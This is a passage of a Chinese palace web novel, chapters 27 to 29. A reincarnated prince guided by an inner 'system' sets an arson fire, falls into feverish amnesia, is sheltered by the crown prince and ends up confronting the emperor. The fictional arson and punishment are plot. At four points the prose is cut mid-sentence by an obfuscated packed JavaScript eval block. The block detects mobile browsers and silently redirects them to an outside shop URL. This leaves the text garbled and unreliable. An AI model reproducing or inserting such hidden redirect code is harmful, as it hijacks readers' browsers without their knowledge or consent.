“皇祖母息怒。”李常安轻声开口,“母妃……她不是故意的。是孙儿言语不当,惹了她发病。” “你还替她说话?”太后又气又心疼,“她都把你伤成这样了,你还替她说话?!常安啊常安,你就是心太善!” 正说着,殿外又传来通报:“皇后娘娘驾到——” 皇后是疾步进来的,发髻微乱,显然来得匆忙。 看到太后在,她先行礼:“母后。” 随即目光落在李常安身上,眉头紧紧皱起。 “皇后来了正好!” 太后怒气未消,“你看看,你看看常安被那疯妇伤成什么样!你这个六宫之主,该当如何处置?!” 皇后走到床前,仔细看了看李常安的伤口。 她的目光在那块渗血的纱布上停留了一会,才转身对太后恭敬道:“母后息怒。此事儿臣定当严惩。” 她转头对林嬷嬷吩咐道:“传本宫懿旨:宁嫔突发癫症,伤人毁物,有失妇德,更失为母之责。今日起一应份例减半,宫人减半。另,罚抄《女诫》《孝经》百遍,以思己过。” 禁足加份例宫人减半,等于是将景和宫彻底打入冷宫中的冷宫。 太后脸色稍霁,但仍不满:“就这?她可是伤了常安!” “母后,”皇后温声道,“宁嫔毕竟育有皇子,若罚得过重,恐伤天家体面。且她神志不清,严惩亦无益。如今禁足减例,已是惩戒。” 她转头看向李常安,语气体贴道:“常安好生养伤。缺什么少什么,只管让人去凤仪宫取。” 又对小叶子道,“好生伺候你家殿下。若再出纰漏,本宫唯你是问。” 小叶子连忙跪下:“奴才遵旨!” 太后又坐了片刻,嘱咐了好些话,才被林嬷嬷劝着回慈宁宫了。 殿内重归寂静。炭火噼啪,窗外风声呜咽。 李常安忽然坐起身。 【宿主?你要做什么?伤口不能乱动——】 “帮我兑换点东西。”李常安说,“不要止痛药。要……助燃剂,少量即可。” 【啊?!】007惊了,【宿主你要干什么?!】 “试探底线。”李常安下床,走到窗边。 子时三刻,宫中大部分地方都已熄灯安寝。 李常安趁着夜色悄无声息地溜出了长春宫,借着夜色和熟悉地形的掩护,一路潜行至映月宫。 【宿主,你确定要这么做吗?!】007在他脑子里尖叫,【放火是重罪!万一被抓到——】 “所以才选映月宫。”李常安在心中冷静回应,“这里偏僻,烧了也不会伤及人命,最多损失些空殿旧物。但火势一起,宫中必乱。” 【可是为什么啊?!】 李常安从怀中取出一个小瓷瓶,那是用功德值兑换的少量高效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16823095|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助燃剂。 “我要看看,当我真的做出‘出格’之事时,那些人会是什么反应。” 他嘴角微微勾起:“而且,上辈子活得战战兢兢,这辈子总要做点……不一样的事。这吃人的地方,烧它一角,算是利息。” 说着,他绕到映月宫偏殿后一处堆放杂物的角落,将助燃剂均匀地洒上。 “更重要的是,”他在心中对007,也像是对自己说,“我要知道,当我真的犯下大错,踩到那条线时……谁会第一个跳出来保我,谁会迫不及待想踩死我,而谁……又会露出马脚。” 他退开几步,吹燃火折子。 火光在夜色中一闪。 下一刻,“轰”的一声,火苗窜起老高! 助燃剂的效果极佳,几乎瞬间就引燃了整个杂物堆,火舌开始舔舐偏殿的木制窗棂和檐角。 【宿主!火起来了!快走!】007急喊。 李常安却没有立刻离开,站在原地静静看着那越来越大的火势。 火光映在他眼中,明明灭灭。 远处传来第一声惊呼:“走水了!!映月宫走水了!!” 很快,锣声、呼喊声、奔跑声混成一片。 宫中值守的侍卫、太监们提着水桶从四面八方涌来。 火光映红了夜空,也照亮了李常安毫无遮掩的身影。 “那是……七殿下?!”有人认出了他,声音充满了难以置信。 李常安适时地咳嗽了两声,用袖子掩了掩口鼻,仿佛是被浓烟呛到,身形晃了晃,靠在了旁边一株烧不到的柏树上。 他垂着眼,不看任何人,却将周围所有的反应尽收眼底。 很快,更多的人涌来,包括闻讯赶来的内廷管事太监。 当看到火场边独立的身影时,那太监的脸色瞬间变得极其精彩。 “七殿下!您、您怎么在这儿?!” 管事太监尖着嗓子,快步上前,想扶又不敢扶,眼神在李常安、火场之间来回逡巡,声音都变了调。 “这火……这……您没事吧?快,快送殿下回宫!” “不必。”李常安抬起手,声音不高,却清晰地压过了周围的嘈杂。 他抬眼,目光扫过围拢过来的众人,最后落在那管事太监脸上,“火是我放的。” 一瞬间,以他为中心,仿佛连空气都凝固了。 所有听到这句话的人,脸上都露出了极度震惊和荒谬的神情。 放火?皇子?自承其罪?这完全超出了他们的应对范畴。 管事太监张大了嘴,半天没发出声音。 就在这时,一道明黄身影在侍卫的簇拥下,分开人群,大步走来。 夜风卷起他的龙袍下摆,带着凛冽的寒意。 皇帝到了。 他的脸色在跳动的火光中显得晦暗不明,第一眼就看到了靠在树边的李常安,然后缓缓扫过熊熊燃烧的偏殿。 现场鸦雀无声,所有人都屏住了呼吸,等待着天子的震怒。 皇帝走到李常安面前,停下。父子俩隔着几步距离对视。 李常安能清晰地看到皇帝眼中翻涌的怒火。 27.第 27 章 李常安垂着眼,做好了迎接雷霆之怒的准备。 周围静得可怕,只有木材燃烧的噼啪声和远处紧张的泼水声。 皇帝沉默了许久,久到连身后的大监王公公额头上都冒出了冷汗。 “为什么?”皇帝终于开口,带着令人心悸的压迫感。 李常安抬起头,挺直脊背看向皇帝,“儿臣睡不着,想看看火。” 这话说得简直像个无理取闹的稚子。 王公公倒吸一口冷气,侍卫们更是将头埋得更低。 皇帝的眼睛眯了起来:“想看火?” “是。”李常安索性破罐子破摔,“映月宫空着,烧了也不碍事。” “不碍事?”皇帝重复了一遍这三个字,忽然冷笑了一声,“李常安,你以为你是谁?” 这话问得极重。 李常安拱手回道:“儿臣知错。” “知错?”皇帝上前一步,“朕看你是不知道错在何处!” 他的声音陡然拔高:“身为皇子,不知约束自身言行,深夜擅离宫禁,私纵火势,惊扰宫闱——桩桩件件,哪一条不是重罪?!” 李常安跪下:“儿臣领罪。” 他跪得干脆,反而让皇帝的话噎在喉咙里。 火光跳跃,映在父子二人身上,拉出长长的影子。 皇帝盯着这个跪在自己面前、额角的纱布渗着血的儿子,渐渐与自己梦中被绑在刑架上、血肉模糊的李常安重叠。 一样的平静,一样的……认命。 “好,好。”皇帝忽然笑了一声,笑声里听不出喜怒,“既然你知罪,朕便罚你——” 他顿了顿,在场的所有人都竖起了耳朵。 “禁足长春宫十日,抄《礼记》十遍。十日后,朕要亲自检查。” 就这? 别说侍卫太监,连王公公都愣住了。 纵火之罪,只罚禁足抄书?这惩戒轻得简直像在走过场! 李常安也愣住了。他抬头看向皇帝,眼中第一次露出了真实的困惑。 皇帝却不再看他,转身对王公公道:“传朕口谕:今夜之事,若有半句闲言碎语传出——涉事之人,一律杖毙。” “遵旨!”王公公连忙躬身。 “还有,”皇帝走了两步,又停住,背对着李常安,“额上的伤,好好养着。十日后,朕要看到一篇像样的字。” 说完,他大步离去,明黄的衣摆消失在夜色中。 留下李常安还跪在原地,脑子里一片混乱。 【宿主……这、这就完了?】007的声音充满了不可思议,【我还以为至少要打板子呢!】 李常安没回答。他被两个侍卫“请”起来,护送着往回走。 回到长春宫时,小叶子已经急得快哭了:“殿下!您可回来了!外头说走水了,奴才吓死了——” “我没事。”李常安疲惫地摆摆手,额上的伤口又疼了起来,连带着脑袋也开始发昏。 他刚想躺下,殿外又传来了脚步声。 “七弟!” 来人是太子李常宸,他竟是穿着寝衣披着大氅匆匆赶来的,头发都没束好,显然是刚从床上爬起来。 “太子殿下?”李常安有些意外。 太子几步走到床前,仔细看了看他,目光落在那渗血的纱布上时,脸色沉了沉:“伤成这样,怎么还到处乱跑?!” 他这话说得又急又气,倒真像兄长训斥不懂事的弟弟。 李常安还没反应过来,太子已经转头对小叶子道:“去拿件厚披风来。再备个手炉。” “殿下,这是……”小叶子不解。 “七弟今夜去我那儿睡。”太子说得理所当然,“长春宫地气寒,他伤着,又受了惊,需得好生照看。” 李常安瞪大了眼睛:“二皇兄,这不合适——” “有什么不合适?”太子打断他,“你我兄弟,同宿一宿有何不可?” 这话问得,李常安一时竟不知如何回答。 前世今生,太子何曾用这种语气与他说过话?那话里话外的关切,几乎要满溢出来。 不,这不是太子。或者说,这不是他认识的那个太子。 那个太子温润宽和之下,是对他深深的忌惮与疏离,绝不会在他“犯下大错”后,还主动将他接到自己宫中。 “二皇兄,”李常安试探着开口,“今夜之事,父皇已罚了我禁足抄书。若去东宫,恐违圣意——” “父皇那里,我自会去说。”太子已经亲手接过小叶子拿来的披风,仔细地给他系上,“你只需顾好自己便是。” 说着,他竟弯下腰,作势要抱他。 李常安吓了一跳:“二皇兄!我、我能走——” “别动。”太子的声音忽然低了下来,带着某种压抑的情绪,“让我……照顾你一次。” 这话说得极轻,轻到李常安几乎以为是自己听错了。 下一刻,他被太子打横抱了起来。 太子的手臂很稳,怀抱却有些僵硬,像是第一次做这种事。他的下颌线紧绷着,目不斜视地抱着李常安往外走。 夜风很冷,但太子的怀抱很暖。 李常安靠在他胸口,能听到沉稳的心跳声。这感觉陌生又怪异,让他浑身上下都不自在。 【宿主,太子这是……吃错药了?】007也懵了。 李常安没回答,他闭上眼,感受着额头的疼痛越来越剧烈,脑袋也越来越昏沉。 不对劲。 这具身体,好像真的撑到极限了。 一路无话,太子抱着他穿过宫道,走进东宫,径直入了寝殿。 太子的寝殿布置得雅致简洁,熏着淡淡的檀香。 他将李常安小心地放在自己那张宽大的床上,拉过锦被仔细盖好。 “二皇兄,这于礼不合——”李常安还想挣扎着起来。 “躺好。”太子按住他,转头对宫人道,“去请太医。再煮碗安神汤来。” “是。” 宫人退下后,寝殿里只剩下兄弟二人。 烛火跳动,在太子脸上投下明明灭灭的光影。他就坐在床边,静静地看着李常安。 “二皇兄为何这样看我?”李常安忍不住问。 太子张了张嘴,却什么也没说出口。 良久,他才低声道:“常安,若有一日,你发现曾经深信不疑的事,其实全是错的……你会怎么办?” “二皇兄何出此言?”李常安疑惑道。 太子却摇了摇头,伸手替他掖了掖被角:“没什么。你累了,睡吧。” 他的手在触到李常安额头的瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16828748|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,猛地一颤:“怎么这么烫?!” 李常安自己也感觉到了,脑袋昏昏沉沉的,身体像是被放在火上烤,冷热交替,意识开始模糊。 “太医!太医怎么还没来?!”太子的声音变得焦急。 很快,杂乱的脚步声,太医匆匆赶来的声音,宫人们慌张的低语……这些声音都像是隔了一层水,朦朦胧胧听不真切。 李常安只觉得有人在掰开他的嘴灌药。 他挣扎着想保持清醒,但还是渐渐撑不住晕了过去。 彻底失去意识前,他最后听到的是太子哽咽的低语:“常安……七弟……这次,皇兄一定护好你……” 李常安好像做了一个很长的梦。 梦里,他还在那个刑场上。刀子一片片割下他的肉,很疼,但他喊不出来。 周围有很多人在看,父皇、太子、迟宴、大皇子……他们的脸都模糊不清,只有眼神是清晰的——冷漠的,厌恶的,或是快意的。 然后画面一转,他又变成了六岁的孩子,被宁嫔按在地上打。 那女人疯疯癫癫地骂着:“不像我!也不像他!为什么偏偏是你?!为什么你要活着?!” 这些画面破碎又混乱,最后都融化成一片刺目的白光。 李常安艰难地睁开了眼。 入目是陌生的帐顶,绣着精致的云纹。他眨了眨眼,脑子一片空白。 这是哪儿? 他撑着想要坐起来,却发现浑身无力,额头上还缠着厚厚的纱布,一动就疼得抽气。 “殿下醒了?!” 一个陌生的宫女惊喜地凑过来,“快去禀报太子殿下!七殿下醒了!” 太子?太子是谁?七殿下又是谁? 李常安茫然地看着她。 他想开口问,喉咙却干涩得发不出声音。 宫女很机灵,连忙端来温水,小心地扶着他喝下。 温水润过喉咙,李常安终于能出声了,声音却沙哑得厉害:“你……是谁?这里是哪儿?” 宫女愣住了:“殿下,奴婢是东宫的侍女春桃。这里是太子殿下的寝殿啊。” 太子?寝殿? 李常安皱起眉。他完全不记得自己认识什么太子,也不记得自己为什么会在这里。 更让他困惑的是,他脑子里好像有很多东西,又好像什么都没有。一些破碎的画面闪来闪去——刑场、火光、一个女人歇斯底里的脸——但这些画面都模糊不清,像是隔着一层浓雾。 他努力想看清楚,头却剧烈地疼了起来。 “唔……”他捂住额头,脸色瞬间苍白。 “殿下别乱动!伤口还没好呢!” 春桃急道,“您高热了三天三夜,太医说千万不能再劳神了!” 高热?三天? 李常安更糊涂了,他完全不记得自己生过病。 正混乱着,殿外传来急促的脚步声。 一个穿着明黄太子常服的少年快步走进来,看到醒来的李常安,眼中迸发出惊喜:“常安!你醒了?!” 李常安看向他,迟疑着开口:“你是?” 太子的脚步顿住了,脸上的惊喜一点点凝固:“常安,你……不记得我了?” 李常安摇了摇头,诚实地说:“不记得。我好像……什么都不记得了。” 28.第 28 章 太子的脸色瞬间变得极其难看,他猛地转头看向跟进来的太医:“怎么回事?!你不是说只是高热吗?!” 太医吓得扑通跪地:“殿下息怒!七殿下高热太久,这、这失忆之症……臣、臣也无法预料啊!” “无法预料?!” 太子几乎要怒吼出声,但他看了眼床上茫然无措的李常安,硬生生将怒火压了下去,咬牙道,“治!给孤想办法治!若治不好——” “哥哥。”一个轻轻的声音打断了他。 太子浑身一震,缓缓转过头。 李常安正看着他,眼神干净得像个初生的孩童:“你是我哥哥吗?” 太子的喉咙像是被什么堵住了。 他慢慢走到床边,蹲下身,让自己的视线与李常安齐平,声音轻柔得不可思议:“是,我是你二皇兄,李常宸。” “李常宸……”李常安喃喃重复了一遍,然后笑了,“真好听的名字。” 太子的眼眶瞬间红了。 他伸出手,想碰碰弟弟的脸,又怕吓到他,手停在半空微微颤抖。 “常安,”他的声音沙哑,“你还记得什么?哪怕一点点?” 李常安努力想了想,然后摇头:“什么都不记得了。脑子里空空的,但是……” 他皱起小脸,指了指自己的脑袋:“这里面,好像有东西在说话。” 太子和太医都愣住了。 “有东西……在说话?”太子重复道。 “嗯。”李常安点头,很认真地说,“一个声音,一直在脑子里,说要我做什么任务……还叫我‘宿主’。可是我听不懂。” 【宿主?!】007在李常安脑子里尖叫,【你、你能听到我说话了?!不对,你之前一直能听到,等等——你说‘听不懂’是什么意思?!】 李常安被脑子里突然拔高的声音吓了一跳,小脸白了白:“它、它又说话了!好吵!” 太子脸色大变:“常安别怕!告诉皇兄,那个声音说什么了?!” “它说……”李常安努力分辨着脑子里那个语无伦次的声音,“说什么‘宿主’、‘听不懂’、‘怎么办’……” 007已经彻底慌了。 完了完了完了!宿主失忆了! 【检测到宿主意识状态异常……心智年龄评估:约6岁……记忆模块:封锁……】007快速调取着数据,然后傻了。 宿主这是……烧坏脑子了? 不,不对。是意识自我保护机制?因为承受了太多不该这个年龄承受的记忆和压力? 那它现在怎么办?! 【宿主!宿主你听得到吗?!我是007啊!你的系统!】 007急得团团转,【你别慌,你现在可能是高烧后遗症,记忆暂时混乱,很快就会好的——】 “它又说了一大堆……”李常安茫然地看向太子,“什么系统,什么很快会好……皇兄,我脑子里是不是进虫子了?” 太子:“……” 太医:“……” 007:【……】 完了!!!007绝望地想。 “皇兄,”李常安忽然拉了拉太子的袖子,小声道,“那个声音好像吓到了,不说话了。” 太子回过神来,强压下心中的惊涛骇浪,柔声问:“现在没声音了?” “嗯。”李常安点头,又疑惑地摸了摸自己的脑袋,“它好像……躲起来了。” 太子与太医交换了一个凝重的眼神。 “王太医,”太子沉声道,“七殿下这症状,你可曾见过?” 王太医冷汗涔涔:“臣、臣行医数十载,从未见过此等怪症!高热伤及神志导致失忆者有之,但幻听……且内容如此怪异……恕臣愚钝,实不知何故!” “常安不怕,”太子握住弟弟的手,那手很小,很软,“有皇兄在,什么都不用怕。” 他转头,严肃地命令道:“今日之事,若有半句传出,尔等知道后果。” 殿内所有宫人齐刷刷跪地:“奴才不敢!” 太子摆摆手,让他们退下,只留下王太医:“开方子吧。安神、补脑,有什么好药都用上。孤只要七弟好起来。” “是,是!”王太医连忙去写方子。 殿内重新安静下来。 太子在床边坐下,看着又有些昏昏欲睡的李常安,轻声问:“常安,饿不饿?想吃什么?” 李常安想了想,小声说:“……想吃甜的。” 太子宠溺地笑道:“好,皇兄让人给你做桂花糖糕,还有蜜酿圆子,好不好?” “好!”李常安点头,但随即又皱了皱鼻子,“可是……药苦。” “吃了糖糕再喝药,就不苦了。”太子耐心地哄着,心里却是一片酸软——这样会撒娇、会怕苦的常安,他从未见过。 梦中的常安,生病了也强撑着处理公务,喝药眉头都不皱一下。 今生的常安,在他面前总是恭敬疏离,像戴着一张完美的面具。 而现在这个…… 太子轻轻摸了摸弟弟柔软的头发:“睡吧,糖糕好了皇兄叫你。” 李常安点点头,闭上眼睛,很快就睡着了。 听着均匀的呼吸声,太子的眼神深了下来。 那个“声音”…… 不管是什么妖魔鬼怪,他都绝不会让它伤害常安。 夜深了。 东宫寝殿里只点了一盏小小的夜灯,光线昏黄柔和。 太子在外间榻上守着,已经累得睡了过去。 里间床上,李常安睡得正熟,忽然睫毛颤了颤,慢慢睁开了眼。 他其实是被饿醒的。 晚膳时他没什么胃口,只喝了几口粥和一块糕点,现在肚子咕咕叫。 正想着要不要叫人,脑子里突然响起一个声音: 【宿主……宿主你听得到吗?】 李常安吓了一跳,差点叫出声,他睁大眼睛,心脏怦怦跳。 【宿主别怕!我是007,你的系统!】007焦急的说道,【我不会伤害你的!我是来帮你的!】 “你……你是我脑子里的东西?”李常安小声地问道。 【对对对!但我不是坏东西!我是好系统!】 007连忙说,【宿主你现在生病了,所以不记得我了,但我们之前是好朋友!】 好朋友?李常安将信将疑。 “那你能帮我什么?”他小声问。 【我可以给你好吃的!】007灵机一动,决定从最简单的需求入手,【宿主是不是饿了?想不想吃糖?】 李常安的肚子很配合地又叫了一声。 他有点脸红,但还是诚实地点了点头:“想……” 【那我们来做个任务好不好?】 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833099|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 007尽量让自己的声音听起来可爱无害,【很简单的小任务!完成了就有糖吃!】 “什么任务?” 【宿主现在闭上眼睛,心里默念三遍“我要快点好起来”,然后睁开眼,枕头旁边就会出现一块糖!】007现编了一个“任务”,反正现在宿主心智退化,这种程度应该够了。 李常安将信将疑,但还是照做了。 他闭上眼,在心里认真念了三遍“我要快点好起来”,然后睁开眼—— 枕头边真的多了一块用塑料纸包着的可乐糖! 他惊呆了,拿起糖块左看右看,又看向空荡荡的寝殿——没有人进来过。 【怎么样?我没骗你吧!】007得意地说,【快尝尝!可甜了!】 李常安小心地剥开,把糖块放进嘴里。 甜丝丝的,好吃得他眼睛都眯了起来。 “好甜……”他含糊地说,然后又小声问,“你……你还会变别的吗?” 【当然会!】007趁热打铁,【但是要有任务才能变哦!宿主现在要好好养病,等你好一点了,我们再做更多任务,换更多好吃的,好不好?】 李常安用力点头:“好!” 【宿主不能跟别人说我的存在哦!】 “哥哥也不行吗?”李常安疑惑问道。 【不行哦!说出来以后就没有好吃的了。】 李常安轻轻点头:“好吧!” 【那现在宿主该睡觉了。】007哄道,【乖乖睡觉,明天如果喝药不哭,我就再给你一块糖。】 “我不哭!”李常安立刻保证,然后乖乖躺好,拉好被子,“我睡觉了!” 【嗯,晚安!宿主。】 寝殿重归安静,李常安含着糖,慢慢睡着了。 意识深处,007松了口气。 还好……宿主虽然心智退化了,但至少还能沟通,而且看起来很好哄。 它调出宿主当前状态面板,看着那行“心智年龄评估:约6岁”,数据流微微波动。 这样也好。 李常安一早就醒了,精神似乎好了不少。 太子亲自喂他喝了药,虽然苦得他小脸皱成一团,但想到007答应给的糖,还是捏着鼻子喝完了。 “常安真乖。”太子笑着摸摸他的头,递过一块早就备好的蜜饯。 李常安含着蜜饯,眼睛却瞟来瞟去——糖呢?说好的糖呢? 【宿主别急,等没人的时候。】007赶紧在他脑子里说。 早膳是太子陪着一起用的。 李常安看着满桌精致的点心,眼睛发亮,但吃了两块就饱了——他身体还虚,胃口小。 “再喝点粥好不好?”太子耐心地哄着。 李常安摇头,从椅子上跳下来——结果腿一软,差点摔倒。 太子眼疾手快把他捞进怀里,吓得脸色都变了。 “小心点!”太子的声音有点急,“伤还没好,不能乱跑!” 李常安被他抱在怀里,愣愣的,然后小声说:“皇兄……你身上好硬。” 太子:“……” 旁边的宫人想笑又不敢笑,憋得很辛苦。 “那常安想要软的?”太子无奈地问。 “想下去……”李常安扭了扭。 太子只好把他放回椅子上,但这次看得紧紧的,不让他再乱动。 29.第 29 章 上午,王太医又来诊脉,说情况稳定了,但要继续静养。 太子这才稍稍放心,但他还有政务要处理,不能一直陪着。 “常安在这里看书好不好?”太子把他抱到窗边的软榻上,那里堆着几本适合孩童看的话本。 “皇兄去书房处理点事情,很快就回来。” 李常安点点头,乖巧地拿起一本书。 太子一步三回头地走了,还特意吩咐两个宫女在门口守着。 然而太子刚走不到一盏茶的时间—— “殿下!殿下您不能出去!” “外面风大!您伤还没好!” 李常安趁宫女不注意,自己溜下了软榻往门外跑。 他想去院子里看看——刚才看到有只很漂亮的鸟飞过去了。 两个宫女吓得魂飞魄散,连忙追出去。 一个去拦,一个赶紧去禀报太子。 于是太子刚批完一份奏折,就听到外面慌乱的脚步声和喊声。 他太阳穴突突直跳,放下笔就冲了出去。 院子里,李常安正蹲在池塘边,好奇地盯着水里的锦鲤看。 他半个身子都探出去了,吓得身后的宫女脸都白了。 “李常安!”太子又急又气,连名带姓地喊了出来。 李常安吓了一跳,回头看到他,眼睛一亮:“皇兄!这里有红色的鱼!” 太子大步走过去,一把将他捞起来抱在怀里,感觉心脏都快跳出嗓子眼了:“你知不知道这多危险?!掉下去怎么办?!” 他的声音有点大,李常安被他吼得愣住了,眼睛慢慢红了,小嘴一扁—— 太子立刻后悔了。 “常安不哭,皇兄不是凶你……” 他赶紧放软声音,手忙脚乱地给怀里的小人儿擦眼泪,“皇兄是担心你。你看,你伤还没好,不能乱跑,对不对?” 李常安把脸埋在他肩上,小声抽泣:“我想看鱼……” “看鱼可以,但要让皇兄抱着看。”太子妥协了,抱着他走到池塘边的亭子里坐下,“这样看,好不好?” “嗯……”李常安吸了吸鼻子,注意力很快又被水里游来游去的锦鲤吸引过去了。 正看着,亭外忽然传来一阵急促的脚步声。 “皇上驾到——” 太子浑身一僵。 怀里的李常安明显感觉到兄长的身体绷紧了,他疑惑地抬起头:“皇兄?” 太子深吸一口气,抱着他站起身,快步走出亭子。 池塘边的空地上,明黄的身影已经站定。 皇帝今日穿着朝服,显然是刚下朝就直接过来了。 “儿臣参见父皇。”太子抱着李常安,只能微微躬身。 皇帝的目光先落在太子身上,停留片刻,才缓缓移向他怀里的小七。 “听说常安病了,”皇帝开口,声音平淡,“朕来看看。” 他的目光在李常安额头的纱布上停留片刻,然后对上那双眼睛。 李常安也在看他,歪着头,睁着大大的眼睛也不说话。 “常安,”皇帝又开口,这次是对着他说的,“认得朕吗?” 李常安眨眨眼,诚实地摇头。 “父皇,”太子赶紧解释,“七弟高热过后,许多事都不记得了。太医说这是暂时的,好生调养便能恢复。” 皇帝点点头,目光却一直锁在李常安脸上:“既如此,可还记得自己是谁?做过什么?” 这话问得有些微妙。 太子心头一紧。 李常安想了想,小声说:“我叫常安……皇兄说的。做过什么……” 他皱起小脸,“我不记得了。” 皇帝盯着他看了许久,像是在判断这话的真假。 “太子,”皇帝忽然转向太子,“常安在你这里住了几日了?” 太子心头一紧:“回父皇,自那夜起火后,已有三日。” “三日,”皇帝重复了一遍,语气听不出喜怒,“东宫事务繁忙,你既要处理政务,又要照看幼弟,未免分身乏术。” “儿臣不辛苦!”太子立刻道,“七弟病着,儿臣理应照顾。” “理应?”皇帝的声音依旧平淡,但每个字都带着分量。 “你是太子,你的责任是朝政。今早已有御史弹劾,说七皇子纵火犯禁在先,无视禁足圣旨在后——如今又住进东宫,于礼不合,于法不容。” 太子的脸色白了白:“父皇,七弟他当时高热未退,神志不清……” “朕知道。”皇帝打断他,“所以朕只罚了禁足抄书。但禁足之罚,尚未结束。” 他的目光重新落回李常安身上:“常安既然醒了,就该回皇子所,继续静思己过。” “可是七弟他失忆了!他需要人照顾!” 皇帝的声音冷了一分,“太子,你越矩了。” 这话像冰锥,刺进太子心里。 他张了张嘴,最终什么也没说。 父皇说得对——他是太子,是储君,纵使他有千般理由,在朝臣眼里,在礼法面前,都是站不住脚的。 【啧,皇家规矩真多。】007吐槽,【生病的小孩都不能跟哥哥住,这是什么道理?】 李常安听不懂那些朝政、弹劾,但他能感觉到抱着自己的皇兄在发抖,能感觉到气氛越来越冷。 他抬起头,看看皇帝那张没什么表情的脸,又看看太子紧绷的下颌线。 “皇兄,”他小声问,“我是不是……给你添麻烦了?” 太子心头一颤:“没有!常安没有……” “那就是了。”李常安打断他“我回自己那里住,就好了,对不对?” “常安……” “我不要皇兄为难。”李常安说,小手轻轻拍了拍太子的肩膀,“我自己可以。” 太子的眼眶瞬间红了。 皇帝看着这一幕,眼神深了深。 “既如此,”皇帝开口,声音恢复了平静,“王福。” “奴才在。”王公公连忙上前。 “送七皇子回皇子所。再传朕口谕:七皇子病中需静养,非召不得出。” “遵旨。” 太子还想说什么,但皇帝已经转身:“太子,跟朕来书房。朕有事要与你商议。” “……是。”太子只能应下。 他把怀里的李常安交给王公公,蹲下身,用力抱了抱弟弟:“常安,回去要乖乖的,知道吗?皇兄……明天就去看你。” 李常安点点头,小声说:“皇兄不要跟人吵架。” 太子一愣,随即明白他说的是和父皇——心头又是一酸。 “好,不吵架。”他哑声应道。 看着王公公抱着李常安走远,太子才站起身,跟着皇帝往书房去。 皇子所,长春宫。 李常安被安置在寝殿的床上,王公公嘱咐了几句“好生伺候”,便躬身退下了。 殿内只剩下李常安和伺候的宫女。 【宿主,冷吗?要不要我偷偷给你弄个暖手炉?】007问。 “不冷。”李常安在心里回。 正说着,殿外传来了脚步声。 接着是宫女的低呼:“皇上……” 李常安从被子里探出头,看见那个黄衣服的大人又走了进来。 皇帝挥手让宫女退下,独自走到床前。 烛光下,他的脸一半在明,一半在暗,神情莫测。 李常安看着他,没说话,也没像之前那样往后缩——但也没有靠近。 “怕朕?”皇帝问。 李常安摇头:“不怕。” “哦?”皇帝挑眉,“那为何躲?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16836966|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“没躲。”李常安说,“只是不想说话。” 这话说得直白,甚至有些无礼。 皇帝的眼神沉了沉。他盯着床上的孩子看了许久,忽然伸出手。 手伸到一半—— “啪!” 一声清脆的响声,在寂静的寝殿里格外刺耳。 皇帝的手停在半空。 殿外候着的王公公腿一软,差点跪下去。 李常安自己也愣住了。 他看看自己的手,又看看皇帝——后者脸上依然没什么表情。 皇帝的手腕上,被拍中的地方微微泛红。 【卧槽!宿主你完了!】007在李常安脑子里尖叫,【你打了皇上!真打了!这可不是闹着玩的!】 李常安抿着嘴,看着皇帝。 他不是故意的,真的不是——那只手突然过来,他只是……本能反应。 但他不打算道歉。 因为他不喜欢这个人,不喜欢他看自己的眼神,不喜欢他说话的语气,不喜欢他的一切,每次看到他,他都觉得难受生气。 皇帝缓缓收回手,背到身后,手指在袖中慢慢收紧,握成了拳。 “李常安。”他开口,声音比刚才低了一度,带着冷意,“你可知错?” 李常安看着他,诚实地摇头:“你的手突然过来,我不喜欢。” 不喜欢。 这三个字说得理所当然。 皇帝的眼神彻底冷了下来。 他伸出手——这次动作快得惊人,一把将李常安从床上拎起来,按在自己膝上。 “啊!”李常安惊呼一声,还没反应过来发生了什么,只觉得天旋地转,然后就趴在了硬邦邦的膝盖上。 【宿主!宿主!】007在他脑子里尖叫,【完了完了完了!他要打你!真的要打你了!】 李常安挣扎着要起来,但那只按在他背上的手像铁钳一样,纹丝不动。 “你放开我!”他喊道,声音里终于带上了慌乱。 “放肆!”皇帝的声音从头顶传来,带着怒意。 “今日,朕便教教你,什么是规矩!” 话音未落—— “啪!” 